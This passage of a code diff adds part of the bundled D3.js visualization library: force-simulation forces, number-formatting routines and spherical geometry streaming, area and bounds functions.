iterations; ++k) { + for (var i = 0, link, source, target, x, y, l, b; i < n; ++i) { + link = links[i], source = link.source, target = link.target; + x = target.x + target.vx - source.x - source.vx || jiggle(); + y = target.y + target.vy - source.y - source.vy || jiggle(); + l = Math.sqrt(x * x + y * y); + l = (l - distances[i]) / l * alpha * strengths[i]; + x *= l, y *= l; + target.vx -= x * (b = bias[i]); + target.vy -= y * b; + source.vx += x * (b = 1 - b); + source.vy += y * b; + } + } + } + + function initialize() { + if (!nodes) return; + + var i, + n = nodes.length, + m = links.length, + nodeById = map$1(nodes, id), + link; + + for (i = 0, count = new Array(n); i < m; ++i) { + link = links[i], link.index = i; + if (typeof link.source !== "object") link.source = find(nodeById, link.source); + if (typeof link.target !== "object") link.target = find(nodeById, link.target); + count[link.source.index] = (count[link.source.index] || 0) + 1; + count[link.target.index] = (count[link.target.index] || 0) + 1; + } + + for (i = 0, bias = new Array(m); i < m; ++i) { + link = links[i], bias[i] = count[link.source.index] / (count[link.source.index] + count[link.target.index]); + } + + strengths = new Array(m), initializeStrength(); + distances = new Array(m), initializeDistance(); + } + + function initializeStrength() { + if (!nodes) return; + + for (var i = 0, n = links.length; i < n; ++i) { + strengths[i] = +strength(links[i], i, links); + } + } + + function initializeDistance() { + if (!nodes) return; + + for (var i = 0, n = links.length; i < n; ++i) { + distances[i] = +distance(links[i], i, links); + } + } + + force.initialize = function(_) { + nodes = _; + initialize(); + }; + + force.links = function(_) { + return arguments.length ? (links = _, initialize(), force) : links; + }; + + force.id = function(_) { + return arguments.length ? (id = _, force) : id; + }; + + force.iterations = function(_) { + return arguments.length ? (iterations = +_, force) : iterations; + }; + + force.strength = function(_) { + return arguments.length ? (strength = typeof _ === "function" ? _ : constant$7(+_), initializeStrength(), force) : strength; + }; + + force.distance = function(_) { + return arguments.length ? (distance = typeof _ === "function" ? _ : constant$7(+_), initializeDistance(), force) : distance; + }; + + return force; +} + +function x$1(d) { + return d.x; +} + +function y$1(d) { + return d.y; +} + +var initialRadius = 10, + initialAngle = Math.PI * (3 - Math.sqrt(5)); + +function simulation(nodes) { + var simulation, + alpha = 1, + alphaMin = 0.001, + alphaDecay = 1 - Math.pow(alphaMin, 1 / 300), + alphaTarget = 0, + velocityDecay = 0.6, + forces = map$1(), + stepper = timer(step), + event = dispatch("tick", "end"); + + if (nodes == null) nodes = []; + + function step() { + tick(); + event.call("tick", simulation); + if (alpha < alphaMin) { + stepper.stop(); + event.call("end", simulation); + } + } + + function tick(iterations) { + var i, n = nodes.length, node; + + if (iterations === undefined) iterations = 1; + + for (var k = 0; k < iterations; ++k) { + alpha += (alphaTarget - alpha) * alphaDecay; + + forces.each(function (force) { + force(alpha); + }); + + for (i = 0; i < n; ++i) { + node = nodes[i]; + if (node.fx == null) node.x += node.vx *= velocityDecay; + else node.x = node.fx, node.vx = 0; + if (node.fy == null) node.y += node.vy *= velocityDecay; + else node.y = node.fy, node.vy = 0; + } + } + + return simulation; + } + + function initializeNodes() { + for (var i = 0, n = nodes.length, node; i < n; ++i) { + node = nodes[i], node.index = i; + if (node.fx != null) node.x = node.fx; + if (node.fy != null) node.y = node.fy; + if (isNaN(node.x) || isNaN(node.y)) { + var radius = initialRadius * Math.sqrt(i), angle = i * initialAngle; + node.x = radius * Math.cos(angle); + node.y = radius * Math.sin(angle); + } + if (isNaN(node.vx) || isNaN(node.vy)) { + node.vx = node.vy = 0; + } + } + } + + function initializeForce(force) { + if (force.initialize) force.initialize(nodes); + return force; + } + + initializeNodes(); + + return simulation = { + tick: tick, + + restart: function() { + return stepper.restart(step), simulation; + }, + + stop: function() { + return stepper.stop(), simulation; + }, + + nodes: function(_) { + return arguments.length ? (nodes = _, initializeNodes(), forces.each(initializeForce), simulation) : nodes; + }, + + alpha: function(_) { + return arguments.length ? (alpha = +_, simulation) : alpha; + }, + + alphaMin: function(_) { + return arguments.length ? (alphaMin = +_, simulation) : alphaMin; + }, + + alphaDecay: function(_) { + return arguments.length ? (alphaDecay = +_, simulation) : +alphaDecay; + }, + + alphaTarget: function(_) { + return arguments.length ? (alphaTarget = +_, simulation) : alphaTarget; + }, + + velocityDecay: function(_) { + return arguments.length ? (velocityDecay = 1 - _, simulation) : 1 - velocityDecay; + }, + + force: function(name, _) { + return arguments.length > 1 ? ((_ == null ? forces.remove(name) : forces.set(name, initializeForce(_))), simulation) : forces.get(name); + }, + + find: function(x, y, radius) { + var i = 0, + n = nodes.length, + dx, + dy, + d2, + node, + closest; + + if (radius == null) radius = Infinity; + else radius *= radius; + + for (i = 0; i < n; ++i) { + node = nodes[i]; + dx = x - node.x; + dy = y - node.y; + d2 = dx * dx + dy * dy; + if (d2 < radius) closest = node, radius = d2; + } + + return closest; + }, + + on: function(name, _) { + return arguments.length > 1 ? (event.on(name, _), simulation) : event.on(name); + } + }; +} + +function manyBody() { + var nodes, + node, + alpha, + strength = constant$7(-30), + strengths, + distanceMin2 = 1, + distanceMax2 = Infinity, + theta2 = 0.81; + + function force(_) { + var i, n = nodes.length, tree = quadtree(nodes, x$1, y$1).visitAfter(accumulate); + for (alpha = _, i = 0; i < n; ++i) node = nodes[i], tree.visit(apply); + } + + function initialize() { + if (!nodes) return; + var i, n = nodes.length, node; + strengths = new Array(n); + for (i = 0; i < n; ++i) node = nodes[i], strengths[node.index] = +strength(node, i, nodes); + } + + function accumulate(quad) { + var strength = 0, q, c, weight = 0, x, y, i; + + // For internal nodes, accumulate forces from child quadrants. + if (quad.length) { + for (x = y = i = 0; i < 4; ++i) { + if ((q = quad[i]) && (c = Math.abs(q.value))) { + strength += q.value, weight += c, x += c * q.x, y += c * q.y; + } + } + quad.x = x / weight; + quad.y = y / weight; + } + + // For leaf nodes, accumulate forces from coincident quadrants. + else { + q = quad; + q.x = q.data.x; + q.y = q.data.y; + do strength += strengths[q.data.index]; + while (q = q.next); + } + + quad.value = strength; + } + + function apply(quad, x1, _, x2) { + if (!quad.value) return true; + + var x = quad.x - node.x, + y = quad.y - node.y, + w = x2 - x1, + l = x * x + y * y; + + // Apply the Barnes-Hut approximation if possible. + // Limit forces for very close nodes; randomize direction if coincident. + if (w * w / theta2 < l) { + if (l < distanceMax2) { + if (x === 0) x = jiggle(), l += x * x; + if (y === 0) y = jiggle(), l += y * y; + if (l < distanceMin2) l = Math.sqrt(distanceMin2 * l); + node.vx += x * quad.value * alpha / l; + node.vy += y * quad.value * alpha / l; + } + return true; + } + + // Otherwise, process points directly. + else if (quad.length || l >= distanceMax2) return; + + // Limit forces for very close nodes; randomize direction if coincident. + if (quad.data !== node || quad.next) { + if (x === 0) x = jiggle(), l += x * x; + if (y === 0) y = jiggle(), l += y * y; + if (l < distanceMin2) l = Math.sqrt(distanceMin2 * l); + } + + do if (quad.data !== node) { + w = strengths[quad.data.index] * alpha / l; + node.vx += x * w; + node.vy += y * w; + } while (quad = quad.next); + } + + force.initialize = function(_) { + nodes = _; + initialize(); + }; + + force.strength = function(_) { + return arguments.length ? (strength = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : strength; + }; + + force.distanceMin = function(_) { + return arguments.length ? (distanceMin2 = _ * _, force) : Math.sqrt(distanceMin2); + }; + + force.distanceMax = function(_) { + return arguments.length ? (distanceMax2 = _ * _, force) : Math.sqrt(distanceMax2); + }; + + force.theta = function(_) { + return arguments.length ? (theta2 = _ * _, force) : Math.sqrt(theta2); + }; + + return force; +} + +function radial(radius, x, y) { + var nodes, + strength = constant$7(0.1), + strengths, + radiuses; + + if (typeof radius !== "function") radius = constant$7(+radius); + if (x == null) x = 0; + if (y == null) y = 0; + + function force(alpha) { + for (var i = 0, n = nodes.length; i < n; ++i) { + var node = nodes[i], + dx = node.x - x || 1e-6, + dy = node.y - y || 1e-6, + r = Math.sqrt(dx * dx + dy * dy), + k = (radiuses[i] - r) * strengths[i] * alpha / r; + node.vx += dx * k; + node.vy += dy * k; + } + } + + function initialize() { + if (!nodes) return; + var i, n = nodes.length; + strengths = new Array(n); + radiuses = new Array(n); + for (i = 0; i < n; ++i) { + radiuses[i] = +radius(nodes[i], i, nodes); + strengths[i] = isNaN(radiuses[i]) ? 0 : +strength(nodes[i], i, nodes); + } + } + + force.initialize = function(_) { + nodes = _, initialize(); + }; + + force.strength = function(_) { + return arguments.length ? (strength = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : strength; + }; + + force.radius = function(_) { + return arguments.length ? (radius = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : radius; + }; + + force.x = function(_) { + return arguments.length ? (x = +_, force) : x; + }; + + force.y = function(_) { + return arguments.length ? (y = +_, force) : y; + }; + + return force; +} + +function x$2(x) { + var strength = constant$7(0.1), + nodes, + strengths, + xz; + + if (typeof x !== "function") x = constant$7(x == null ? 0 : +x); + + function force(alpha) { + for (var i = 0, n = nodes.length, node; i < n; ++i) { + node = nodes[i], node.vx += (xz[i] - node.x) * strengths[i] * alpha; + } + } + + function initialize() { + if (!nodes) return; + var i, n = nodes.length; + strengths = new Array(n); + xz = new Array(n); + for (i = 0; i < n; ++i) { + strengths[i] = isNaN(xz[i] = +x(nodes[i], i, nodes)) ? 0 : +strength(nodes[i], i, nodes); + } + } + + force.initialize = function(_) { + nodes = _; + initialize(); + }; + + force.strength = function(_) { + return arguments.length ? (strength = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : strength; + }; + + force.x = function(_) { + return arguments.length ? (x = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : x; + }; + + return force; +} + +function y$2(y) { + var strength = constant$7(0.1), + nodes, + strengths, + yz; + + if (typeof y !== "function") y = constant$7(y == null ? 0 : +y); + + function force(alpha) { + for (var i = 0, n = nodes.length, node; i < n; ++i) { + node = nodes[i], node.vy += (yz[i] - node.y) * strengths[i] * alpha; + } + } + + function initialize() { + if (!nodes) return; + var i, n = nodes.length; + strengths = new Array(n); + yz = new Array(n); + for (i = 0; i < n; ++i) { + strengths[i] = isNaN(yz[i] = +y(nodes[i], i, nodes)) ? 0 : +strength(nodes[i], i, nodes); + } + } + + force.initialize = function(_) { + nodes = _; + initialize(); + }; + + force.strength = function(_) { + return arguments.length ? (strength = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : strength; + }; + + force.y = function(_) { + return arguments.length ? (y = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : y; + }; + + return force; +} + +// Computes the decimal coefficient and exponent of the specified number x with +// significant digits p, where x is positive and p is in [1, 21] or undefined. +// For example, formatDecimal(1.23) returns ["123", 0]. +function formatDecimal(x, p) { + if ((i = (x = p ? x.toExponential(p - 1) : x.toExponential()).indexOf("e")) < 0) return null; // NaN, ±Infinity + var i, coefficient = x.slice(0, i); + + // The string returned by toExponential either has the form \d\.\d+e[-+]\d+ + // (e.g., 1.2e+3) or the form \de[-+]\d+ (e.g., 1e+3). + return [ + coefficient.length > 1 ? coefficient[0] + coefficient.slice(2) : coefficient, + +x.slice(i + 1) + ]; +} + +function exponent$1(x) { + return x = formatDecimal(Math.abs(x)), x ? x[1] : NaN; +} + +function formatGroup(grouping, thousands) { + return function(value, width) { + var i = value.length, + t = [], + j = 0, + g = grouping[0], + length = 0; + + while (i > 0 && g > 0) { + if (length + g + 1 > width) g = Math.max(1, width - length); + t.push(value.substring(i -= g, i + g)); + if ((length += g + 1) > width) break; + g = grouping[j = (j + 1) % grouping.length]; + } + + return t.reverse().join(thousands); + }; +} + +function formatNumerals(numerals) { + return function(value) { + return value.replace(/[0-9]/g, function(i) { + return numerals[+i]; + }); + }; +} + +// [[fill]align][sign][symbol][0][width][,][.precision][~][type] +var re = /^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i; + +function formatSpecifier(specifier) { + if (!(match = re.exec(specifier))) throw new Error("invalid format: " + specifier); + var match; + return new FormatSpecifier({ + fill: match[1], + align: match[2], + sign: match[3], + symbol: match[4], + zero: match[5], + width: match[6], + comma: match[7], + precision: match[8] && match[8].slice(1), + trim: match[9], + type: match[10] + }); +} + +formatSpecifier.prototype = FormatSpecifier.prototype; // instanceof + +function FormatSpecifier(specifier) { + this.fill = specifier.fill === undefined ? " " : specifier.fill + ""; + this.align = specifier.align === undefined ? ">" : specifier.align + ""; + this.sign = specifier.sign === undefined ? "-" : specifier.sign + ""; + this.symbol = specifier.symbol === undefined ? "" : specifier.symbol + ""; + this.zero = !!specifier.zero; + this.width = specifier.width === undefined ? undefined : +specifier.width; + this.comma = !!specifier.comma; + this.precision = specifier.precision === undefined ? undefined : +specifier.precision; + this.trim = !!specifier.trim; + this.type = specifier.type === undefined ? "" : specifier.type + ""; +} + +FormatSpecifier.prototype.toString = function() { + return this.fill + + this.align + + this.sign + + this.symbol + + (this.zero ? "0" : "") + + (this.width === undefined ? "" : Math.max(1, this.width | 0)) + + (this.comma ? "," : "") + + (this.precision === undefined ? "" : "." + Math.max(0, this.precision | 0)) + + (this.trim ? "~" : "") + + this.type; +}; + +// Trims insignificant zeros, e.g., replaces 1.2000k with 1.2k. +function formatTrim(s) { + out: for (var n = s.length, i = 1, i0 = -1, i1; i < n; ++i) { + switch (s[i]) { + case ".": i0 = i1 = i; break; + case "0": if (i0 === 0) i0 = i; i1 = i; break; + default: if (!+s[i]) break out; if (i0 > 0) i0 = 0; break; + } + } + return i0 > 0 ? s.slice(0, i0) + s.slice(i1 + 1) : s; +} + +var prefixExponent; + +function formatPrefixAuto(x, p) { + var d = formatDecimal(x, p); + if (!d) return x + ""; + var coefficient = d[0], + exponent = d[1], + i = exponent - (prefixExponent = Math.max(-8, Math.min(8, Math.floor(exponent / 3))) * 3) + 1, + n = coefficient.length; + return i === n ? coefficient + : i > n ? coefficient + new Array(i - n + 1).join("0") + : i > 0 ? coefficient.slice(0, i) + "." + coefficient.slice(i) + : "0." + new Array(1 - i).join("0") + formatDecimal(x, Math.max(0, p + i - 1))[0]; // less than 1y! +} + +function formatRounded(x, p) { + var d = formatDecimal(x, p); + if (!d) return x + ""; + var coefficient = d[0], + exponent = d[1]; + return exponent < 0 ? "0." + new Array(-exponent).join("0") + coefficient + : coefficient.length > exponent + 1 ? coefficient.slice(0, exponent + 1) + "." + coefficient.slice(exponent + 1) + : coefficient + new Array(exponent - coefficient.length + 2).join("0"); +} + +var formatTypes = { + "%": function(x, p) { return (x * 100).toFixed(p); }, + "b": function(x) { return Math.round(x).toString(2); }, + "c": function(x) { return x + ""; }, + "d": function(x) { return Math.round(x).toString(10); }, + "e": function(x, p) { return x.toExponential(p); }, + "f": function(x, p) { return x.toFixed(p); }, + "g": function(x, p) { return x.toPrecision(p); }, + "o": function(x) { return Math.round(x).toString(8); }, + "p": function(x, p) { return formatRounded(x * 100, p); }, + "r": formatRounded, + "s": formatPrefixAuto, + "X": function(x) { return Math.round(x).toString(16).toUpperCase(); }, + "x": function(x) { return Math.round(x).toString(16); } +}; + +function identity$3(x) { + return x; +} + +var map$2 = Array.prototype.map, + prefixes = ["y","z","a","f","p","n","\xB5","m","","k","M","G","T","P","E","Z","Y"]; + +function formatLocale(locale) { + var group = locale.grouping === undefined || locale.thousands === undefined ? identity$3 : formatGroup(map$2.call(locale.grouping, Number), locale.thousands + ""), + currencyPrefix = locale.currency === undefined ? "" : locale.currency[0] + "", + currencySuffix = locale.currency === undefined ? "" : locale.currency[1] + "", + decimal = locale.decimal === undefined ? "." : locale.decimal + "", + numerals = locale.numerals === undefined ? identity$3 : formatNumerals(map$2.call(locale.numerals, String)), + percent = locale.percent === undefined ? "%" : locale.percent + "", + minus = locale.minus === undefined ? "-" : locale.minus + "", + nan = locale.nan === undefined ? "NaN" : locale.nan + ""; + + function newFormat(specifier) { + specifier = formatSpecifier(specifier); + + var fill = specifier.fill, + align = specifier.align, + sign = specifier.sign, + symbol = specifier.symbol, + zero = specifier.zero, + width = specifier.width, + comma = specifier.comma, + precision = specifier.precision, + trim = specifier.trim, + type = specifier.type; + + // The "n" type is an alias for ",g". + if (type === "n") comma = true, type = "g"; + + // The "" type, and any invalid type, is an alias for ".12~g". + else if (!formatTypes[type]) precision === undefined && (precision = 12), trim = true, type = "g"; + + // If zero fill is specified, padding goes after sign and before digits. + if (zero || (fill === "0" && align === "=")) zero = true, fill = "0", align = "="; + + // Compute the prefix and suffix. + // For SI-prefix, the suffix is lazily computed. + var prefix = symbol === "$" ? currencyPrefix : symbol === "#" && /[boxX]/.test(type) ? "0" + type.toLowerCase() : "", + suffix = symbol === "$" ? currencySuffix : /[%p]/.test(type) ? percent : ""; + + // What format function should we use? + // Is this an integer type? + // Can this type generate exponential notation? + var formatType = formatTypes[type], + maybeSuffix = /[defgprs%]/.test(type); + + // Set the default precision if not specified, + // or clamp the specified precision to the supported range. + // For significant precision, it must be in [1, 21]. + // For fixed precision, it must be in [0, 20]. + precision = precision === undefined ? 6 + : /[gprs]/.test(type) ? Math.max(1, Math.min(21, precision)) + : Math.max(0, Math.min(20, precision)); + + function format(value) { + var valuePrefix = prefix, + valueSuffix = suffix, + i, n, c; + + if (type === "c") { + valueSuffix = formatType(value) + valueSuffix; + value = ""; + } else { + value = +value; + + // Determine the sign. -0 is not less than 0, but 1 / -0 is! + var valueNegative = value < 0 || 1 / value < 0; + + // Perform the initial formatting. + value = isNaN(value) ? nan : formatType(Math.abs(value), precision); + + // Trim insignificant zeros. + if (trim) value = formatTrim(value); + + // If a negative value rounds to zero after formatting, and no explicit positive sign is requested, hide the sign. + if (valueNegative && +value === 0 && sign !== "+") valueNegative = false; + + // Compute the prefix and suffix. + valuePrefix = (valueNegative ? (sign === "(" ? sign : minus) : sign === "-" || sign === "(" ? "" : sign) + valuePrefix; + valueSuffix = (type === "s" ? prefixes[8 + prefixExponent / 3] : "") + valueSuffix + (valueNegative && sign === "(" ? ")" : ""); + + // Break the formatted value into the integer “value” part that can be + // grouped, and fractional or exponential “suffix” part that is not. + if (maybeSuffix) { + i = -1, n = value.length; + while (++i < n) { + if (c = value.charCodeAt(i), 48 > c || c > 57) { + valueSuffix = (c === 46 ? decimal + value.slice(i + 1) : value.slice(i)) + valueSuffix; + value = value.slice(0, i); + break; + } + } + } + } + + // If the fill character is not "0", grouping is applied before padding. + if (comma && !zero) value = group(value, Infinity); + + // Compute the padding. + var length = valuePrefix.length + value.length + valueSuffix.length, + padding = length < width ? new Array(width - length + 1).join(fill) : ""; + + // If the fill character is "0", grouping is applied after padding. + if (comma && zero) value = group(padding + value, padding.length ? width - valueSuffix.length : Infinity), padding = ""; + + // Reconstruct the final output based on the desired alignment. + switch (align) { + case "<": value = valuePrefix + value + valueSuffix + padding; break; + case "=": value = valuePrefix + padding + value + valueSuffix; break; + case "^": value = padding.slice(0, length = padding.length >> 1) + valuePrefix + value + valueSuffix + padding.slice(length); break; + default: value = padding + valuePrefix + value + valueSuffix; break; + } + + return numerals(value); + } + + format.toString = function() { + return specifier + ""; + }; + + return format; + } + + function formatPrefix(specifier, value) { + var f = newFormat((specifier = formatSpecifier(specifier), specifier.type = "f", specifier)), + e = Math.max(-8, Math.min(8, Math.floor(exponent$1(value) / 3))) * 3, + k = Math.pow(10, -e), + prefix = prefixes[8 + e / 3]; + return function(value) { + return f(k * value) + prefix; + }; + } + + return { + format: newFormat, + formatPrefix: formatPrefix + }; +} + +var locale; + +defaultLocale({ + decimal: ".", + thousands: ",", + grouping: [3], + currency: ["$", ""], + minus: "-" +}); + +function defaultLocale(definition) { + locale = formatLocale(definition); + exports.format = locale.format; + exports.formatPrefix = locale.formatPrefix; + return locale; +} + +function precisionFixed(step) { + return Math.max(0, -exponent$1(Math.abs(step))); +} + +function precisionPrefix(step, value) { + return Math.max(0, Math.max(-8, Math.min(8, Math.floor(exponent$1(value) / 3))) * 3 - exponent$1(Math.abs(step))); +} + +function precisionRound(step, max) { + step = Math.abs(step), max = Math.abs(max) - step; + return Math.max(0, exponent$1(max) - exponent$1(step)) + 1; +} + +// Adds floating point numbers with twice the normal precision. +// Reference: J. R. Shewchuk, Adaptive Precision Floating-Point Arithmetic and +// Fast Robust Geometric Predicates, Discrete & Computational Geometry 18(3) +// 305–363 (1997). +// Code adapted from GeographicLib by Charles F. F. Karney, +// http://geographiclib.sourceforge.net/ + +function adder() { + return new Adder; +} + +function Adder() { + this.reset(); +} + +Adder.prototype = { + constructor: Adder, + reset: function() { + this.s = // rounded value + this.t = 0; // exact error + }, + add: function(y) { + add$1(temp, y, this.t); + add$1(this, temp.s, this.s); + if (this.s) this.t += temp.t; + else this.s = temp.t; + }, + valueOf: function() { + return this.s; + } +}; + +var temp = new Adder; + +function add$1(adder, a, b) { + var x = adder.s = a + b, + bv = x - a, + av = x - bv; + adder.t = (a - av) + (b - bv); +} + +var epsilon$2 = 1e-6; +var epsilon2$1 = 1e-12; +var pi$3 = Math.PI; +var halfPi$2 = pi$3 / 2; +var quarterPi = pi$3 / 4; +var tau$3 = pi$3 * 2; + +var degrees$1 = 180 / pi$3; +var radians = pi$3 / 180; + +var abs = Math.abs; +var atan = Math.atan; +var atan2 = Math.atan2; +var cos$1 = Math.cos; +var ceil = Math.ceil; +var exp = Math.exp; +var log = Math.log; +var pow = Math.pow; +var sin$1 = Math.sin; +var sign = Math.sign || function(x) { return x > 0 ? 1 : x < 0 ? -1 : 0; }; +var sqrt = Math.sqrt; +var tan = Math.tan; + +function acos(x) { + return x > 1 ? 0 : x < -1 ? pi$3 : Math.acos(x); +} + +function asin(x) { + return x > 1 ? halfPi$2 : x < -1 ? -halfPi$2 : Math.asin(x); +} + +function haversin(x) { + return (x = sin$1(x / 2)) * x; +} + +function noop$2() {} + +function streamGeometry(geometry, stream) { + if (geometry && streamGeometryType.hasOwnProperty(geometry.type)) { + streamGeometryType[geometry.type](geometry, stream); + } +} + +var streamObjectType = { + Feature: function(object, stream) { + streamGeometry(object.geometry, stream); + }, + FeatureCollection: function(object, stream) { + var features = object.features, i = -1, n = features.length; + while (++i < n) streamGeometry(features[i].geometry, stream); + } +}; + +var streamGeometryType = { + Sphere: function(object, stream) { + stream.sphere(); + }, + Point: function(object, stream) { + object = object.coordinates; + stream.point(object[0], object[1], object[2]); + }, + MultiPoint: function(object, stream) { + var coordinates = object.coordinates, i = -1, n = coordinates.length; + while (++i < n) object = coordinates[i], stream.point(object[0], object[1], object[2]); + }, + LineString: function(object, stream) { + streamLine(object.coordinates, stream, 0); + }, + MultiLineString: function(object, stream) { + var coordinates = object.coordinates, i = -1, n = coordinates.length; + while (++i < n) streamLine(coordinates[i], stream, 0); + }, + Polygon: function(object, stream) { + streamPolygon(object.coordinates, stream); + }, + MultiPolygon: function(object, stream) { + var coordinates = object.coordinates, i = -1, n = coordinates.length; + while (++i < n) streamPolygon(coordinates[i], stream); + }, + GeometryCollection: function(object, stream) { + var geometries = object.geometries, i = -1, n = geometries.length; + while (++i < n) streamGeometry(geometries[i], stream); + } +}; + +function streamLine(coordinates, stream, closed) { + var i = -1, n = coordinates.length - closed, coordinate; + stream.lineStart(); + while (++i < n) coordinate = coordinates[i], stream.point(coordinate[0], coordinate[1], coordinate[2]); + stream.lineEnd(); +} + +function streamPolygon(coordinates, stream) { + var i = -1, n = coordinates.length; + stream.polygonStart(); + while (++i < n) streamLine(coordinates[i], stream, 1); + stream.polygonEnd(); +} + +function geoStream(object, stream) { + if (object && streamObjectType.hasOwnProperty(object.type)) { + streamObjectType[object.type](object, stream); + } else { + streamGeometry(object, stream); + } +} + +var areaRingSum = adder(); + +var areaSum = adder(), + lambda00, + phi00, + lambda0, + cosPhi0, + sinPhi0; + +var areaStream = { + point: noop$2, + lineStart: noop$2, + lineEnd: noop$2, + polygonStart: function() { + areaRingSum.reset(); + areaStream.lineStart = areaRingStart; + areaStream.lineEnd = areaRingEnd; + }, + polygonEnd: function() { + var areaRing = +areaRingSum; + areaSum.add(areaRing < 0 ? tau$3 + areaRing : areaRing); + this.lineStart = this.lineEnd = this.point = noop$2; + }, + sphere: function() { + areaSum.add(tau$3); + } +}; + +function areaRingStart() { + areaStream.point = areaPointFirst; +} + +function areaRingEnd() { + areaPoint(lambda00, phi00); +} + +function areaPointFirst(lambda, phi) { + areaStream.point = areaPoint; + lambda00 = lambda, phi00 = phi; + lambda *= radians, phi *= radians; + lambda0 = lambda, cosPhi0 = cos$1(phi = phi / 2 + quarterPi), sinPhi0 = sin$1(phi); +} + +function areaPoint(lambda, phi) { + lambda *= radians, phi *= radians; + phi = phi / 2 + quarterPi; // half the angular distance from south pole + + // Spherical excess E for a spherical triangle with vertices: south pole, + // previous point, current point. Uses a formula derived from Cagnoli’s + // theorem. See Todhunter, Spherical Trig. (1871), Sec. 103, Eq. (2). + var dLambda = lambda - lambda0, + sdLambda = dLambda >= 0 ? 1 : -1, + adLambda = sdLambda * dLambda, + cosPhi = cos$1(phi), + sinPhi = sin$1(phi), + k = sinPhi0 * sinPhi, + u = cosPhi0 * cosPhi + k * cos$1(adLambda), + v = k * sdLambda * sin$1(adLambda); + areaRingSum.add(atan2(v, u)); + + // Advance the previous points. + lambda0 = lambda, cosPhi0 = cosPhi, sinPhi0 = sinPhi; +} + +function area$1(object) { + areaSum.reset(); + geoStream(object, areaStream); + return areaSum * 2; +} + +function spherical(cartesian) { + return [atan2(cartesian[1], cartesian[0]), asin(cartesian[2])]; +} + +function cartesian(spherical) { + var lambda = spherical[0], phi = spherical[1], cosPhi = cos$1(phi); + return [cosPhi * cos$1(lambda), cosPhi * sin$1(lambda), sin$1(phi)]; +} + +function cartesianDot(a, b) { + return a[0] * b[0] + a[1] * b[1] + a[2] * b[2]; +} + +function cartesianCross(a, b) { + return [a[1] * b[2] - a[2] * b[1], a[2] * b[0] - a[0] * b[2], a[0] * b[1] - a[1] * b[0]]; +} + +// TODO return a +function cartesianAddInPlace(a, b) { + a[0] += b[0], a[1] += b[1], a[2] += b[2]; +} + +function cartesianScale(vector, k) { + return [vector[0] * k, vector[1] * k, vector[2] * k]; +} + +// TODO return d +function cartesianNormalizeInPlace(d) { + var l = sqrt(d[0] * d[0] + d[1] * d[1] + d[2] * d[2]); + d[0] /= l, d[1] /= l, d[2] /= l; +} + +var lambda0$1, phi0, lambda1, phi1, // bounds + lambda2, // previous lambda-coordinate + lambda00$1, phi00$1, // first point + p0, // previous 3D point + deltaSum = adder(), + ranges, + range; + +var boundsStream = { + point: boundsPoint, + lineStart: boundsLineStart, + lineEnd: boundsLineEnd, + polygonStart: function() { + boundsStream.point = boundsRingPoint; + boundsStream.lineStart = boundsRingStart; + boundsStream.lineEnd = boundsRingEnd; + deltaSum.reset(); + areaStream.polygonStart(); + }, + polygonEnd: function() { + areaStream.polygonEnd(); + boundsStream.point = boundsPoint; + boundsStream.lineStart = boundsLineStart; + boundsStream.lineEnd = boundsLineEnd; + if (areaRingSum < 0) lambda0$1 = -(lambda1 = 180), phi0 = -(phi1 = 90); + else if (deltaSum > epsilon$2) phi1 = 90; + else if (deltaSum < -epsilon$2) phi0 = -90; + range[0] = lambda0$1, range[1] = lambda1; + }, + sphere: function() { + lambda0$1 = -(lambda1 = 180), phi0 = -(phi1 = 90); + } +}; + +function boundsPoint(lambda, phi) { + ranges.push(range = [lambda0$1 = lambda, lambda1 = lambda]); + if (phi < phi0) phi0 = phi; + if (phi > phi1) phi1 = phi; +} + +function linePoint(lambda, phi) { + var p = cartesian([lambda * radians, phi * radians]); + if (p0) { + var normal = cartesianCross(p0, p), + equatorial = [normal[1], -normal[0], 0], + inflection = cartesianCross(equatorial, normal); + cartesianNormalizeInPlace(inflection); + inflection = spherical(inflection); + var delta = lambda - lambda2, + sign = delta > 0 ? 1 : -1, + lambdai = inflection[0] * degrees$1 * sign, + phii, + antimeridian = abs(delta) > 180; + if (antimeridian ^ (sign * lambda2 < lambdai && lambdai < sign * lambda)) { + phii = inflection[1] * degrees$1; + if (phii > phi1) phi1 = phii; + } else if (lambdai = (lambdai + 360) % 360 - 180, antimeridian ^ (sign * lambda2 < lambdai && lambdai < sign * lambda)) { + phii = -inflection[1] * degrees$1; + if (phii < phi0) phi0 = phii; + } else { + if (phi < phi0) phi0 = phi; + if (phi > phi1) phi1 = phi; + } + if (antimeridian) { + if (lambda < lambda2) { + if (angle(lambda0$1, lambda) > angle(lambda0$1, lambda1)) lambda1 = lambda; + } else { + if (angle(lambda, lambda1) > angle(lambda0$1, lambda1)) lambda0$1 = lambda; + } + } else { + if (lambda1 >= lambda0$1) { + if (lambda < lambda0$1) lambda0$1 = lambda; + if (lambda > lambda1) lambda1 = lambda; + } else { + if (lambda > lambda2) { + if (angle(lambda0$1, lambda) > angle(lambda0$1, lambda1)) lambda1 = lambda; + } else { + if (angle(lambda, lambda1) > angle(lambda0$1, lambda1)) lambda0$1 = lambda; + } + } + } + } else { + ranges.push(range = [lambda0$1 = lambda, lambda1 = lambda]); + } + if (phi < phi0) phi0 = phi; + if (phi > phi1) phi1 = phi; + p0 = p, lambda2 = lambda; +} + +function boundsLineStart() { + boundsStream.point = linePoint; +} + +function boundsLineEnd() { + range[0] = lambda0$1, range[1] = lambda1; + boundsStream.point = boundsPoint; + p0 = null; +} + +function boundsRingPoint(lambda, phi) { + if (p0) { + var delta = lambda - lambda2; + deltaSum.add(abs(delta) > 180 ? delta + (delta > 0 ? 360 : -360) : delta); + } else { + lambda00$1 = lambda, phi00$1 = phi; + } + areaStream.point(lambda, phi); + linePoint(lambda, phi); +} + +function boundsRingStart() { + areaStream.lineStart(); +} + +function boundsRingEnd() { + boundsRingPoint(lambda00$1, phi00$1); + areaStream.lineEnd(); + if (abs(deltaSum) > epsilon$2) lambda0$1 = -(lambda1 = 180); + range[0] = lambda0$1, range[1] = lambda1; + p0 = null; +} + +// Finds the left-right distance between two longitudes. +// This is almost the same as (lambda1 - lambda0 + 360°) % 360°, except that we want +// the distance between ±180° to be 360°. +function angle(lambda0, lambda1) 